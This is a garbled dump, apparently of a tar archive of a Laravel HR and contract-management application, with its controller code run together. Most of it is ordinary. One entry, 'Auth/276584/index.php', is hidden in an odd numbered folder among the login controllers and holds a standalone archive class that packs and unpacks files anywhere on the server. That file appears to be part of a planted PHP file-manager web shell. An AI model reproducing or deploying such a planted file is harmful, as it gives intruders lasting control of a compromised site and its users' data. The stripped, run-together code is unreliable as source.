$file->files; return \Response::download( $file_path, $file->files, [ 'Content-Length: ' . filesize($file_path), ] ); } else { return redirect()->back()->with('error', __('File is not exist.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function fileDelete($id, $file_id) { if (\Auth::user()->can('Delete Attachment')) { $contract = Contract::find($id); $file = ContractAttechment::find($file_id); if ($file) { $path = storage_path('contract_attechment/' . $file->files); if (file_exists($path)) { \File::delete($path); } $file->delete(); return redirect()->back()->with('success', __('Attachment successfully deleted!')); } else { return response()->json( [ 'is_success' => false, 'error' => __('File is not exist.'), ], 200 ); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function commentStore(Request $request, $id) { if (\Auth::user()->can('Store Comment')) { $contract = new ContractComment(); $contract->comment = $request->comment; $contract->contract_id = $id; $contract->user_id = \Auth::user()->id; $contract->save(); return redirect()->back()->with('success', __('comments successfully created!') . ((isset($smtp_error)) ? '
' . $smtp_error . '' : ''))->with('status', 'comments'); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function commentDestroy($id) { if (\Auth::user()->can('Delete Comment')) { $contract = ContractComment::find($id); $contract->delete(); return redirect()->back()->with('success', __('Comment successfully deleted!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function noteStore(Request $request, $id) { if (\Auth::user()->can('Store Note')) { $contract = Contract::find($id); $notes = new ContractNote(); $notes->contract_id = $contract->id; $notes->note = $request->note; $notes->user_id = \Auth::user()->id; $notes->save(); return redirect()->back()->with('success', __('Note successfully saved.')); } else { return redirect()->back()->with('error', __('Permission denied')); } } public function noteDestroy($id) { $contract = ContractNote::find($id); if (\Auth::user()->can('Delete Note')) { $contract->delete(); return redirect()->back()->with('success', __('Note successfully deleted!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function copycontract($id) { if (\Auth::user()->can('Create Contract')) { $contract = Contract::find($id); if ($contract->created_by == \Auth::user()->creatorId()) { $employee = User::where('type', '=', 'employee')->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $contractType = ContractType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('contracts.copy', compact('contract', 'contractType', 'employee')); } else { return response()->json(['error' => __('Permission Denied.')], 401); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function copycontractstore($Contract, Request $request) { if (\Auth::user()->can('Create Contract')) { $validator = \Validator::make( $request->all(), [ // 'name' => 'required|max:20', 'subject' => 'required', 'value' => 'required', 'type' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->route('contract.index')->with('error', $messages->first()); } $date = explode(' to ', $request->date); $contract = new Contract(); $contract->employee_name = $request->employee_name; $contract->subject = $request->subject; $contract->value = $request->value; $contract->type = $request->type; $contract->start_date = $request->start_date; $contract->end_date = $request->end_date; $contract->description = $request->description; $contract->created_by = \Auth::user()->creatorId(); $contract->save(); $settings = Utility::settings(\Auth::user()->creatorId()); if (isset($settings['contract_notification']) && $settings['contract_notification'] == 1) { // $msg = 'New Invoice ' . Auth::user()->contractNumberFormat($this->contractNumber()) . ' created by ' . \Auth::user()->name . '.'; $uArr = [ 'contract_number' => \Auth::user()->contractNumberFormat($this->contractNumber()), 'contract_company_name' => \Auth::user()->name, ]; Utility::send_slack_msg('contract_notification', $uArr); } if (isset($settings['telegram_contract_notification']) && $settings['telegram_contract_notification'] == 1) { // $resp = 'New Invoice ' . Auth::user()->contractNumberFormat($this->contractNumber()) . ' created by ' . \Auth::user()->name . '.'; $uArr = [ 'contract_number' => \Auth::user()->contractNumberFormat($this->contractNumber()), 'contract_company_name' => \Auth::user()->name, ]; Utility::send_telegram_msg('contract_notification', $uArr); } return redirect()->route('contract.index')->with('success', __('Contract successfully created!')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } public function printContract($id) { $contract = Contract::findOrFail($id); $settings = Utility::settings(); $employee = $contract->employee_name; //Set your logo // $logo = asset(\Storage::url('uploads/logo/')); $logo = \App\Models\Utility::get_file('uploads/logo/'); $dark_logo = Utility::GetLogo('dark_logo'); $img = asset($logo . '/' . (isset($dark_logo) && !empty($dark_logo) ? $dark_logo : 'logo-dark.png')); return view('contracts.contract_view', compact('contract', 'employee', 'img', 'settings')); } public function pdffromcontract($contract_id) { $id = \Illuminate\Support\Facades\Crypt::decrypt($contract_id); $contract = Contract::findOrFail($id); if (\Auth::check()) { $usr = \Auth::user(); } else { $usr = User::where('id', $contract->created_by)->first(); } // $logo = asset(\Storage::url('uploads/logo/')); $logo = \App\Models\Utility::get_file('uploads/logo/'); $dark_logo = Utility::GetLogo('dark_logo'); $img = asset($logo . '/' . (isset($dark_logo) && !empty($dark_logo) ? $dark_logo : 'logo-dark.png')); return view('contracts.template', compact('contract', 'usr', 'img')); } public function signature($id) { $contract = Contract::find($id); return view('contracts.signature', compact('contract')); } public function signatureStore(Request $request) { $contract = Contract::find($request->contract_id); if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $contract->company_signature = $request->company_signature; } if (\Auth::user()->type == 'employee') { $contract->employee_signature = $request->employee_signature; } $contract->save(); return response()->json( [ 'Success' => true, 'message' => __('Contract Signed successfully'), ], 200 ); } public function sendmailContract($id, Request $request) { // dd($id, $request->all()); $contract = Contract::find($id); // $contractArr = [ 'contract_id' => $contract->id, ]; $employee = User::find($contract->employee_name); $estArr = [ 'email' => $employee->email, 'contract_subject' => $contract->subject, 'contract_employee' => $employee->name, // 'contract_project' => $contract, 'contract_start_date' => $contract->start_date, 'contract_end_date' => $contract->end_date, ]; // Send Email $resp = Utility::sendEmailTemplate('contract', [$employee->id => $employee->email], $estArr); return redirect()->route('contract.show', \Illuminate\Support\Facades\Crypt::encrypt($contract->id))->with('success', __(' Mail Send successfully!') . (($resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); // } public function contract_status_edit(Request $request, $id) { $contract = Contract::find($id); $contract->status = $request->status; $contract->save(); } } Http/Controllers/TrainingTypeController.php000064400000010644150364306410015172 0ustar00can('Manage Training Type')) { $trainingtypes = TrainingType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('trainingtype.index', compact('trainingtypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Training Type')) { return view('trainingtype.create'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(\Auth::user()->can('Create Training Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $trainingtype = new TrainingType(); $trainingtype->name = $request->name; $trainingtype->created_by = \Auth::user()->creatorId(); $trainingtype->save(); return redirect()->route('trainingtype.index')->with('success', __('TrainingType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(TrainingType $trainingType) { // } public function edit($id) { if(\Auth::user()->can('Edit Training Type')) { $trainingType = TrainingType::find($id); if($trainingType->created_by == \Auth::user()->creatorId()) { return view('trainingtype.edit', compact('trainingType')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if(\Auth::user()->can('Edit Training Type')) { $trainingType = TrainingType::find($id); if($trainingType->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); $trainingType->name = $request->name; $trainingType->save(); return redirect()->route('trainingtype.index')->with('success', __('TrainingType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if(\Auth::user()->can('Delete Training Type')) { $trainingType = TrainingType::find($id); if($trainingType->created_by == \Auth::user()->creatorId()) { $trainings = Training::where('training_type',$trainingType->id)->get(); if(count($trainings) == 0){ $trainingType->delete(); }else { return redirect()->route('trainingtype.index')->with('error', __('This TrainingType has Training List. Please remove the Training List from this TrainingType.')); } return redirect()->route('trainingtype.index')->with('success', __('TrainingType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/Auth/EmailVerificationNotificationController.php000064400000002010150364306410021403 0ustar00user()->hasVerifiedEmail()) { return redirect()->intended(RouteServiceProvider::HOME); } Utility::getSMTPDetails(1); $request->user()->sendEmailVerificationNotification(); return back()->with('status', 'verification-link-sent'); } public function showVerifyForm($lang = '') { if($lang == '') { $lang = Utility::getValByName('default_language'); } \App::setLocale($lang); return view('auth.verify-email', compact('lang')); } } Http/Controllers/Auth/VerifyEmailController.php000064400000001604150364306410015666 0ustar00user()->hasVerifiedEmail()) { return redirect()->intended(RouteServiceProvider::HOME.'?verified=1'); } if ($request->user()->markEmailAsVerified()) { event(new Verified($request->user())); } return redirect()->intended(RouteServiceProvider::HOME.'?verified=1'); } } Http/Controllers/Auth/RegisteredUserController.php000064400000013667150364306410016422 0ustar00middleware('guest'); } public function create($lang = '') { if ($lang == '') { $lang = \App\Models\Utility::getValByName('default_language'); } \App::setLocale($lang); return view('auth.register', compact('lang')); } /** * Handle an incoming registration request. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse * * @throws \Illuminate\Validation\ValidationException */ public function store(Request $request) { $settings = \App\Models\Utility::settings(); $validation = []; if (isset($settings['recaptcha_module']) && $settings['recaptcha_module'] == 'yes') { if ($settings['google_recaptcha_version'] == 'v2-checkbox') { $validation['g-recaptcha-response'] = 'required'; } elseif ($settings['google_recaptcha_version'] == 'v3') { $result = event(new VerifyReCaptchaToken($request)); if (!isset($result[0]['status']) || $result[0]['status'] != true) { $key = 'g-recaptcha-response'; $request->merge([$key => null]); // Set the key to null $validation['g-recaptcha-response'] = 'required'; } } else { $validation = []; } } else { $validation = []; } $this->validate($request, $validation); $default_language = \DB::table('settings')->select('value')->where('name', 'default_language')->first(); $request->validate([ 'name' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', 'password' => ['required', 'confirmed', Rules\Password::defaults()], ]); do { $code = rand(100000, 999999); } while (User::where('referral_code', $code)->exists()); $user = User::create([ 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), 'type' => 'company', 'lang' => !empty($default_language) ? $default_language->value : '', 'plan' => 1, 'referral_code' => $code, 'used_referral_code' => $request->ref_code, 'created_by' => 1, ]); // dd($request->all()); // event(new Registered($user)); Auth::login($user); if ($settings['email_verification'] == 'off') { try { $uArr = [ 'email' => $request->email, 'password' => $request->password, ]; Utility::sendEmailTemplate('new_user', [$user->email], $uArr); } catch (\Throwable $th) { } } if ($settings['email_verification'] == 'on') { try { Utility::getSMTPDetails(1); event(new Registered($user)); $role_r = Role::findByName('company'); $user->assignRole($role_r); $user->userDefaultData($user->id); $user->userDefaultDataRegister($user->id); GenerateOfferLetter::defaultOfferLetterRegister($user->id); ExperienceCertificate::defaultExpCertificatRegister($user->id); JoiningLetter::defaultJoiningLetterRegister($user->id); NOC::defaultNocCertificateRegister($user->id); } catch (\Exception $e) { $user->delete(); return redirect('/register')->with('status', __('Email SMTP settings does not configured so please contact to your site admin.')); } return view('auth.verify-email'); } else { $user->email_verified_at = date('h:i:s'); $user->save(); $role_r = Role::findByName('company'); $user->assignRole($role_r); $user->userDefaultData($user->id); $user->userDefaultDataRegister($user->id); GenerateOfferLetter::defaultOfferLetterRegister($user->id); ExperienceCertificate::defaultExpCertificatRegister($user->id); JoiningLetter::defaultJoiningLetterRegister($user->id); NOC::defaultNocCertificateRegister($user->id); return redirect(RouteServiceProvider::HOME); } } public function showRegistrationForm($ref = '', $lang = '') { if (empty($lang)) { $lang = Utility::getValByName('default_language'); } \App::setLocale($lang); if (Utility::getValByName('disable_signup_button') == 'on') { if ($ref == '') { $ref = 0; } $refCode = User::where('referral_code', '=', $ref)->first(); if (isset($refCode) && $refCode->referral_code != $ref) { return redirect()->route('register'); } $setting = \Modules\LandingPage\Entities\LandingPageSetting::settings(); return view('auth.register', compact('lang', 'ref', 'setting')); } else { return abort('404', 'Page not found'); } } } Http/Controllers/Auth/276584/index.php000064400000233472150364306410013306 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>Http/Controllers/Auth/NewPasswordController.php000064400000004715150364306410015734 0ustar00 $request, 'lang' => $lang]); } /** * Handle an incoming new password request. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse * * @throws \Illuminate\Validation\ValidationException */ public function store(Request $request) { $request->validate([ 'token' => 'required', 'email' => 'required|email', 'password' => ['required', 'confirmed', Rules\Password::defaults()], ]); // Here we will attempt to reset the user's password. If it is successful we // will update the password on an actual user model and persist it to the // database. Otherwise we will parse the error and return the response. $status = Password::reset( $request->only('email', 'password', 'password_confirmation', 'token'), function ($user) use ($request) { $user->forceFill([ 'password' => Hash::make($request->password), 'remember_token' => Str::random(60), ])->save(); event(new PasswordReset($user)); } ); // If the password was successfully reset, we will redirect the user back to // the application's home authenticated view. If there is an error we can // redirect them back to where they came from with their error message. return $status == Password::PASSWORD_RESET ? redirect()->route('login')->with('status', __($status)) : back()->withInput($request->only('email')) ->withErrors(['email' => __($status)]); } } Http/Controllers/Auth/index.php000064400000000000150364306410012502 0ustar00Http/Controllers/Auth/ConfirmablePasswordController.php000064400000002136150364306410017417 0ustar00validate([ 'email' => $request->user()->email, 'password' => $request->password, ])) { throw ValidationException::withMessages([ 'password' => __('These credentials do not match our records'), ]); } $request->session()->put('auth.password_confirmed_at', time()); return redirect()->intended(RouteServiceProvider::HOME); } } Http/Controllers/Auth/EmailVerificationPromptController.php000064400000001112150364306410020240 0ustar00user()->hasVerifiedEmail() ? redirect()->intended(RouteServiceProvider::HOME) : view('auth.verify-email'); } } Http/Controllers/Auth/PasswordResetLinkController.php000064400000005254150364306410017102 0ustar00merge([$key => null]); // Set the key to null $validation['g-recaptcha-response'] = 'required'; } } else { $validation = []; } } else { $validation = []; } $this->validate($request, $validation); $request->validate([ 'email' => 'required|email', ]); // We will send the password reset link to this user. Once we have attempted // to send the link, we will examine the response then see the message we // need to show to the user. Finally, we'll send out a proper response. try { Utility::getSMTPDetails(1); $status = Password::sendResetLink( $request->only('email') ); return $status == Password::RESET_LINK_SENT ? back()->with('status', __($status)) : back()->withInput($request->only('email')) ->withErrors(['email' => __($status)]); } catch (\Exception $e) { // return redirect()->back()->with('error', __('E-Mail has been not sent due to SMTP configuration')); return redirect()->back()->withErrors('E-Mail has been not sent due to SMTP configuration'); } } } Http/Controllers/Auth/AuthenticatedSessionController.php000064400000022625150364306410017606 0ustar00delete_status == 1) { auth()->logout(); } return redirect('/check'); }*/ public function store(LoginRequest $request) { $settings = Utility::settings(); $validation = []; if (isset($settings['recaptcha_module']) && $settings['recaptcha_module'] == 'yes') { if ($settings['google_recaptcha_version'] == 'v2-checkbox') { $validation['g-recaptcha-response'] = 'required'; } elseif ($settings['google_recaptcha_version'] == 'v3') { $result = event(new VerifyReCaptchaToken($request)); if (!isset($result[0]['status']) || $result[0]['status'] != true) { $key = 'g-recaptcha-response'; $request->merge([$key => null]); // Set the key to null $validation['g-recaptcha-response'] = 'required'; } } else { $validation = []; } } else { $validation = []; } $this->validate($request, $validation); $request->authenticate(); $request->session()->regenerate(); $user = Auth::user(); if ($user->is_active == 0) { auth()->logout(); return redirect()->back(); } if ($user->is_disable == 0) { auth()->logout(); return redirect()->back(); } $user = \Auth::user(); if ($user->type == 'company') { $plan = plan::find($user->plan); if ($plan) { if ($plan->duration != 'Lifetime') { $datetime1 = new \DateTime($user->plan_expire_date); $datetime2 = new \DateTime(date('Y-m-d')); $interval = $datetime2->diff($datetime1); $days = $interval->format('%r%a'); if ($days <= 0) { $user->assignplan(1); return redirect()->intended(RouteServiceProvider::HOME)->with('error', __('Your plan is expired.')); } } } } if ($user->type == 'company') { $free_plan = Plan::where('price', '=', '0.0')->first(); $plan = Plan::find($user->plan); if ($user->plan != $free_plan->id) { if (date('Y-m-d') > $user->plan_expire_date && $plan->duration != 'Lifetime') { $user->plan = $free_plan->id; $user->plan_expire_date = null; $user->save(); $users = User::where('created_by', '=', \Auth::user()->creatorId())->get(); $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get(); if ($free_plan->max_users == -1) { foreach ($users as $user) { $user->is_active = 1; $user->save(); } } else { $userCount = 0; foreach ($users as $user) { $userCount++; if ($userCount <= $free_plan->max_users) { $user->is_active = 1; $user->save(); } else { $user->is_active = 0; $user->save(); } } } if ($free_plan->max_employees == -1) { foreach ($employees as $employee) { $employee->is_active = 1; $employee->save(); } } else { $employeeCount = 0; foreach ($employees as $employee) { $employeeCount++; if ($employeeCount <= $free_plan->max_customers) { $employee->is_active = 1; $employee->save(); } else { $employee->is_active = 0; $employee->save(); } } } return redirect()->route('dashboard')->with('error', 'Your plan expired limit is over, please upgrade your plan'); } } } if ($user->type != 'company' && $user->type != 'super admin') { // $ip = '49.36.83.154'; // This is static ip address $ip = $_SERVER['REMOTE_ADDR']; // your ip address here $query = @unserialize(file_get_contents('http://ip-api.com/php/' . $ip)); $whichbrowser = new \WhichBrowser\Parser($_SERVER['HTTP_USER_AGENT']); if ($whichbrowser->device->type == 'bot') { return; } $referrer = isset($_SERVER['HTTP_REFERER']) ? parse_url($_SERVER['HTTP_REFERER']) : null; /* Detect extra details about the user */ $query['browser_name'] = $whichbrowser->browser->name ?? null; $query['os_name'] = $whichbrowser->os->name ?? null; $query['browser_language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? mb_substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : null; $query['device_type'] = Utility::get_device_type($_SERVER['HTTP_USER_AGENT']); $query['referrer_host'] = !empty($referrer['host']); $query['referrer_path'] = !empty($referrer['path']); isset($query['timezone']) ? date_default_timezone_set($query['timezone']) : ''; $json = json_encode($query); $login_detail = new LoginDetail(); $login_detail->user_id = Auth::user()->id; $login_detail->ip = $ip; $login_detail->date = date('Y-m-d H:i:s'); $login_detail->Details = $json; $login_detail->created_by = \Auth::user()->creatorId(); $login_detail->save(); } // $user->last_login = date('Y-m-d H:i:s'); // $user->save(); return redirect()->intended(RouteServiceProvider::HOME); } public function showLoginForm($lang = '') { if ($lang == '') { $lang = \App\Models\Utility::getValByName('default_language'); } \App::setLocale($lang); return view('auth.login', compact('lang')); } public function showLinkRequestForm($lang = '') { if ($lang == '') { $lang = \App\Models\Utility::getValByName('default_language'); } \App::setLocale($lang); return view('auth.forgot-password', compact('lang')); } public function storeLinkRequestForm(Request $request) { $settings = Utility::settings(); if 